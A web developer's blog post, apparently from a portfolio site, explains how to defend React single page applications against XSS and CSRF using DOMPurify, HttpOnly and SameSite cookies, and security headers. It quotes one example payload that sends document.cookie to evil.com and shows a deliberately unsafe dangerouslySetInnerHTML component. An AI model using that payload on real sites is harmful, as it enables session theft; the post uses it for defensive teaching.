Learn practical methods to prevent XSS and defend against CSRF in modern React single page applications using secure headers and HTTP-only cookies.
Modern single page applications shift a massive amount of rendering logic to the client browser. While this creates fast user experiences, it also changes how security vulnerabilities manifest. When building complex business software like [Inventory Management / InvMaster OS](/projects/1), protecting user data and session integrity is non-negotiable. Two common attack vectors threaten client-heavy applications: Cross-Site Scripting (XSS) and Cross-Site Request Forgery (CSRF).
XSS occurs when an application includes untrusted data in a web page without proper validation or escaping, allowing attackers to execute arbitrary JavaScript in the victim's browser. CSRF tricks a authenticated user into executing unwanted actions on a web application in which they are currently authenticated.
React protects developers by escaping all content rendered inside JSX expressions by default. If a user inputs malicious markup like `<script>fetch('https://evil.com/'+document.cookie)</script>`, React converts those characters into safe strings rather than executing them.
The vulnerability usually appears when developers bypass these built-in protections to render rich text or raw HTML strings using unsafe utilities.
// DANGEROUS: Opens up XSS if userContent contains malicious scripts
export function UnsafeRender({ userContent }) {
return <div dangerouslySetInnerHTML={{ __html: userContent }} />;
}
// SAFE: Use a dedicated sanitization library like DOMPurify if raw HTML is mandatory
import DOMPurify from 'dompurify';
export function SafeRender({ userContent }) {
const cleanHtml = DOMPurify.sanitize(userContent);
return <div dangerouslySetInnerHTML={{ __html: cleanHtml }} />;
}
Many applications store JSON Web Tokens (JWT) inside browser `localStorage`. While convenient, this practice leaves tokens vulnerable to XSS theft. If an attacker injects a script, they can read `localStorage.getItem('token')` and ship your session credentials to an external server.
The secure alternative is storing session tokens in cookies configured with strict security flags:
Beyond code-level safeguards, your web server must deliver strong HTTP security headers. A robust Content Security Policy (CSP) restricts the domains from which scripts, stylesheets, and images can be loaded.
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Strict-Transport-Security: max-age=63072000; includeSubDomains; preloadImplementing these headers stops clickjacking attempts, prevents MIME-type confusion attacks, and enforces HTTPS connections globally.
As an independent web developer, I build fast, production-ready web applications with security built into the core architecture. [Hire Aafaque Nazir](/services) or [get in touch for a consultation](/contact).
React automatically escapes values embedded in JSX, which protects against most XSS out of the box. However, you must avoid dangerouslySetInnerHTML and validate all data rendered from untrusted sources.
HttpOnly cookies prevent JavaScript from reading your tokens, which stops XSS theft. However, they are still sent automatically by the browser on cross-origin requests, so you must combine them with the SameSite attribute set to Strict or Lax.
No. Storing authentication tokens in localStorage makes them instantly readable by any malicious script injected via an XSS vulnerability. Store session tokens in secure HTTP-only cookies instead.